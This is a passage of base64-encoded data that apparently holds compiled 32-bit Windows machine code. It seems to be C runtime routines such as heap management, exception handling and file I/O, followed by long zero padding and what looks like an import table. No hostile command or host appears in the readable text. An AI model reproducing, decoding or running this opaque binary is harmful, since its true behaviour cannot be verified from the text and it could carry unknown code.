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 62dWV2oBU1NTav++AAEAAP91CFZQ6AnA//+L+IPEIDv7dDhX6AzM//87w1mJRfx0KmoBU1dQ av//dQhW/zU8OUkA6Ny///+DxCCFwHQN/3X8/3UI6Bmt//9ZWf91/Oijy///i0UIWV9eW8nD AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd 